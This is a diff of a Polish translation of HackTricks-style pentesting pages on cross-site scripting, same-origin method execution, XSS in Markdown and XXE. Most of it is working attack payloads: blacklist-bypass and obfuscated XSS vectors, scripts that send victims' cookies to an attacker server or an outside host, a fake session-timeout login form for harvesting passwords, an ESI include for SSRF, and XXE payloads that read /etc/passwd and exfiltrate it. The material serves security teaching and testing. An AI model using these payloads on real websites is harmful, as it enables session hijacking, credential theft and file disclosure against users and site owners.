&#xNAN;_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*lub \*\*\*\*\*\***`--!>`\*\**_
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
W tym przypadku, jeśli nie użyto czarnej/białej listy, możesz użyć ładunków takich jak:
```html
<script>
alert(1)
@ -170,13 +170,13 @@ Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-s
### Niestandardowe tagi
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL na `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Ominięcia czarnej listy
### Blacklist Bypasses
Jeśli używana jest jakaś czarna lista, możesz spróbować ją obejść za pomocą kilku głupich sztuczek:
Jeśli używana jest jakaś forma czarnej listy, możesz spróbować ją obejść za pomocą kilku prostych sztuczek:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,7 +233,7 @@ onerror=alert`1`
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
```
Ostatni używa 2 znaków unicode, które rozszerzają się do 5: telsr\
Ostatni z nich używa 2 znaków unicode, które rozszerzają się do 5: telsr\
Więcej tych znaków można znaleźć [tutaj](https://www.unicode.org/charts/normalization/).\
Aby sprawdzić, w które znaki są rozkładane, sprawdź [tutaj](https://www.compart.com/en/unicode/U+2121).
@ -243,19 +243,19 @@ Jeśli w celu wykorzystania luki musisz, aby **użytkownik kliknął link lub fo
### Niemożliwe - Dangling Markup
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kod JS**.
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kodu JS**.
## Wstrzykiwanie wewnątrz tagu HTML
### Wewnątrz tagu/ucieczka z wartości atrybutu
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wymienionych w [poprzedniej sekcji](./#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wspomnianych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payloadu jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Styl wydarzeń**
**Styl zdarzeń**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -267,12 +267,12 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
```
### W obrębie atrybutu
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest używany do odzwierciedlenia twojej wartości **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest odzwierciedlany w twojej wartości **czy kontrolujesz całą wartość, czy tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/URL**
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
**Zakodowane znaki HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Wróć </a>`
**Znaki zakodowane w HTML** wewnątrz wartości atrybutów tagów HTML są **dekodowane w czasie wykonywania**. Dlatego coś takiego jak poniższe będzie ważne (ładunek jest pogrubiony): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Wróć </a>`
Zauważ, że **jakiekolwiek kodowanie HTML jest ważne**:
```javascript
@ -347,11 +347,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Inne sztuczki obfuskacji**
_**W tym przypadku technika kodowania HTML i kodowania Unicode z poprzedniej sekcji jest również ważna, ponieważ jesteś wewnątrz atrybutu.**_
_**W tym przypadku kodowanie HTML i sztuczka z kodowaniem Unicode z poprzedniej sekcji również są ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** z **ciągu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania.**
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -373,7 +373,7 @@ Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (prz
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Odwrócone nabywanie zakładek
### Odwrócone przechwytywanie zakładek
```javascript
<a target="_blank" rel="opener"
```
@ -383,7 +383,7 @@ Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zaw
../reverse-tab-nabbing.md
{{#endref}}
### o Ominięciu Obsługi Zdarzeń
### O obejściu obsługi zdarzeń
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" obsług zdarzeń**.\
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS w ukrytym atrybucie**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -440,11 +440,11 @@ Kilka sztuczek z użyciem różnych kodowań zostało już ujawnionych w tej sek
**Ominięcia dla tagów HTML i atrybutów**
Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](./#blacklist-bypasses).
Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](#blacklist-bypasses).
**Ominięcia dla kodu JavaScript**
Przeczytaj [czarną listę ominięć JavaScript z następnej sekcji](./#javascript-bypass-blacklists-techniques).
Przeczytaj [czarną listę omijania JavaScript w następnej sekcji](#javascript-bypass-blacklists-techniques).
### Gadżety CSS
@ -480,7 +480,7 @@ Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysło
### Wewnątrz kodu JS
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój input i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój **input** i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,7 +488,7 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znaj
```
### Template literals \`\`
Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticky** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
Aby skonstruować **ciągi znaków** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticky** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\
Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticków, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**:
Można to **nadużyć** używając:
@ -554,7 +554,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**Komentarze JavaScript (z** [**Komentarze JavaScript**](./#javascript-comments) **sztuczki)**
**Komentarze JavaScript (z** [**Komentarze JavaScript**](#javascript-comments) **sztuczki)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Nowe linie w JavaScript (z** [**sztuczki nowe linie w JavaScript**](./#javascript-new-lines) **)**
**Nowe linie w JavaScript (z** [**sztuczki z nowymi liniami w JavaScript**](#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -738,8 +738,8 @@ top[8680439..toString(30)](1)
````
## **Luki w DOM**
Jest **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:**
Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
**Z powodu rozszerzenia wyjaśnienia** [**luk w DOM przeniesiono na tę stronę**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
@ -774,7 +774,7 @@ Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego c
### Normalizowany Unicode
Możesz sprawdzić, czy **odzwierciedlone wartości****normalizowane unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/#xss-cross-site-scripting).
Możesz sprawdzić, czy **odzwierciedlone wartości****normalizowane w Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting).
### Obejście flagi PHP FILTER_VALIDATE_EMAIL
```javascript
@ -782,7 +782,7 @@ Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane unicod
```
### Ruby-On-Rails bypass
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane, co pozwala na dodanie dodatkowych pól (onfocus) wewnątrz tagu.\
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@ -791,7 +791,7 @@ Para "Key","Value" zostanie zwrócona w ten sposób:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Następnie atrybut onfocus zostanie wstawiony i wystąpi XSS.
Wtedy atrybut onfocus zostanie wstawiony i wystąpi XSS.
### Specjalne kombinacje
```markup
@ -823,20 +823,20 @@ Następnie atrybut onfocus zostanie wstawiony i wystąpi XSS.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### XSS z wstrzyknięciem nagłówka w odpowiedzi 302
### XSS z wstrzyknięciem nagłówków w odpowiedzi 302
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na inspekcję i wykonanie ładunku XSS w treści.\
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w treści.\
Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`.
### Tylko litery, cyfry i kropki
Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](./#javascript-function), aby dowiedzieć się, jak nadużyć tego zachowania.
Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
### Ważne `<script>` Typy treści do XSS
### Ważne typy zawartości `<script>` do XSS
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **typem treści** takim jak `application/octet-stream`, Chrome zgłosi następujący błąd:
(Z [**tutaj**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **typem zawartości** takim jak `application/octet-stream`, Chrome zgłosi następujący błąd:
> Odrzucono wykonanie skryptu z [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') ponieważ jego typ MIME (application/octet-stream) nie jest wykonywalny, a ścisłe sprawdzanie typu MIME jest włączone.
@ -896,7 +896,7 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby wykorzystać to do wywołania XSS.
To zachowanie zostało użyte w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób:
```html
@ -984,7 +984,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu:
- Używając import()
```javascript
@ -1228,23 +1228,23 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS powszechne ładunki
## XSS common payloads
### Kilka ładunków w 1
### Several payloads in 1
{{#ref}}
steal-info-js.md
{{#endref}}
### Pułapka Iframe
### Iframe Trap
Zmuszaj użytkownika do nawigacji po stronie bez opuszczania iframe i kradnij jego działania (w tym informacje wysyłane w formularzach):
Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzież jego działań (w tym informacji wysyłanych w formularzach):
{{#ref}}
../iframe-traps.md
{{#endref}}
### Pobierz ciasteczka
### Retrieve Cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1267,7 +1267,7 @@ Zmuszaj użytkownika do nawigacji po stronie bez opuszczania iframe i kradnij je
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Nie **będziesz mógł uzyskać dostępu do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/#httponly), jeśli masz wystarczająco dużo szczęścia.
> Nie **będziesz mógł uzyskać dostępu do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli masz wystarczająco dużo szczęścia.
### Kradzież zawartości strony
```javascript
@ -1362,7 +1362,7 @@ _Krótkie czasy wskazują na odpowiadający port_ _Dłuższe czasy wskazują na
Sprawdź listę portów zablokowanych w Chrome [**tutaj**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) i w Firefox [**tutaj**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Okno do wprowadzenia danych uwierzytelniających
### Box do prośby o dane uwierzytelniające
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1471,7 +1471,7 @@ Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com)
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Uzyskiwanie Ukrytej Zawartości
### Regex - Dostęp do ukrytej zawartości
Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX nadal można znaleźć po usunięciu wartości wejścia regex:
```javascript
@ -1496,11 +1496,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Wykorzystywanie innych podatności
## Wykorzystywanie XSS w innych lukach
### XSS w Markdown
Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź:
Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda Ci się uzyskać XSS! Sprawdź:
{{#ref}}
xss-in-markdown.md
@ -1508,7 +1508,7 @@ xss-in-markdown.md
### XSS do SSRF
Masz XSS na **stronie, która używa cache**? Spróbuj **zaktualizować to do SSRF** poprzez Edge Side Include Injection z tym ładunkiem:
Masz XSS na **stronie, która używa cache**? Spróbuj **przekształcić to w SSRF** poprzez wstrzyknięcie Edge Side Include z tym ładunkiem:
```python
<esi:include src="http://yoursite.com/capture" />
```

View File

@ -4,11 +4,11 @@
## Wykonanie Metody z Tego Samego Źródła
Będą sytuacje, w których możesz wykonać ograniczony javascript na stronie. Na przykład, w przypadku, gdy możesz [**kontrolować wartość zwrotną, która zostanie wykonana**](./#javascript-function).
Będą sytuacje, w których możesz wykonać ograniczony javascript na stronie. Na przykład, w przypadku, gdy możesz [**kontrolować wartość zwrotną, która zostanie wykonana**](#javascript-function).
W takich przypadkach jedną z najlepszych rzeczy, które możesz zrobić, jest **dostęp do DOM, aby wywołać jakąkolwiek** wrażliwą akcję, którą możesz tam znaleźć (jak kliknięcie przycisku). Jednak zazwyczaj znajdziesz tę lukę w **małych punktach końcowych bez żadnych interesujących rzeczy w DOM**.
W takich przypadkach jedną z najlepszych rzeczy, które możesz zrobić, jest **dostęp do DOM, aby wywołać dowolną** wrażliwą akcję, którą możesz tam znaleźć (jak kliknięcie przycisku). Jednak zazwyczaj znajdziesz tę lukę w **małych punktach końcowych bez żadnych interesujących rzeczy w DOM**.
W tych scenariuszach atak będzie bardzo przydatny, ponieważ jego celem jest możliwość **wykorzystania ograniczonego wykonania JS wewnątrz DOM z innej strony z tej samej domeny** z dużo bardziej interesującymi akcjami.
W tych scenariuszach atak będzie bardzo przydatny, ponieważ jego celem jest **wykorzystanie ograniczonego wykonania JS wewnątrz DOM z innej strony z tej samej domeny** z wieloma interesującymi akcjami.
Zasadniczo, przepływ ataku jest następujący:
@ -22,7 +22,7 @@ Zasadniczo, przepływ ataku jest następujący:
> [!CAUTION]
> Zauważ, że nawet jeśli początkowa strona uzyskuje dostęp do nowego URL po utworzeniu drugiej strony, **obiekt `opener` drugiej strony jest nadal ważnym odniesieniem do pierwszej strony w nowym DOM**.
>
> Ponadto, aby druga strona mogła używać obiektu opener, **obie strony muszą być w tym samym źródle**. To jest powód, dla którego, aby wykorzystać tę lukę, musisz znaleźć jakiś rodzaj **XSS w tym samym źródle**.
> Co więcej, aby druga strona mogła używać obiektu opener, **obie strony muszą być w tym samym źródle**. To jest powód, dla którego, aby wykorzystać tę lukę, musisz znaleźć jakiś rodzaj **XSS w tym samym źródle**.
### Wykorzystanie
@ -35,7 +35,7 @@ Zasadniczo, przepływ ataku jest następujący:
- Zauważ, że w tym przykładzie serwer **generuje kod javascript** i **dodaje** go do HTML na podstawie **zawartości parametru callback:** `<script>opener.{callbacl_content}</script>`. Dlatego w tym przykładzie nie musisz wskazywać użycia `opener` w sposób expliczny.
- Sprawdź również ten opis CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Referencje
## Odniesienia
- [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)

View File

@ -6,7 +6,7 @@ Jeśli masz możliwość wstrzyknięcia kodu w markdown, istnieje kilka opcji, k
### Tag HTML
Najczęstszym sposobem na uzyskanie XSS w markdown jest wstrzyknięcie powszechnych tagów HTML, które wykonują javascript, ponieważ kilka interpreterów markdown również zaakceptuje HTML.
Najczęstszym sposobem na uzyskanie XSS w markdown jest wstrzyknięcie powszechnych tagów HTML, które wykonują javascript, ponieważ kilka interpreterów markdown również akceptuje HTML.
```html
<!-- XSS with regular tags -->
<script>
@ -14,7 +14,7 @@ alert(1)
</script>
<img src="x" onerror="alert(1)" />
```
Możesz znaleźć więcej przykładów na [głównej stronie XSS hacktricks](./).
Możesz znaleźć więcej przykładów na [głównej stronie XSS hacktricks]().
### Linki Javascript
@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
### HTML Sanitiser Markdown Bypass
Poniższy kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wywołane poprzez nadużywanie błędnych interpretacji między Markdown a DOMPurify&#x20;
Następujący kod **sanitizuje dane wejściowe HTML** i następnie **przekazuje je do parsera markdown**, a następnie XSS może być wywołane poprzez nadużywanie błędnych interpretacji między Markdown a DOMPurify&#x20;
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>

View File

@ -49,7 +49,7 @@ Ten drugi przypadek powinien być przydatny do wyodrębnienia pliku, jeśli serw
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako ANY
W tym trzecim przypadku zauważamy, że deklarujemy `Element stockCheck` jako ANY.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -91,9 +91,9 @@ Używając **wcześniej skomentowanej techniki**, możesz sprawić, że serwer u
```
### "Blind" SSRF - Exfiltracja danych poza pasmem
**W tej sytuacji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksportować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**Portswigger lab tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
**W tej okazji sprawimy, że serwer załaduje nowy DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (w przypadku plików wieloliniowych możesz spróbować wyeksfiltrować je za pomocą \_ftp://**\_ używając na przykład tego podstawowego serwera [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). To wyjaśnienie opiera się na** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu wyeksportowania danych:
W podanym złośliwym DTD przeprowadzane są szereg kroków w celu eksfiltracji danych:
### Przykład złośliwego DTD:
@ -150,9 +150,9 @@ _**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej
Co zatem z niewidocznymi lukami XXE, gdy **interakcje poza pasmem są zablokowane** (połączenia zewnętrzne nie są dostępne)?
Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, napastnicy muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje.
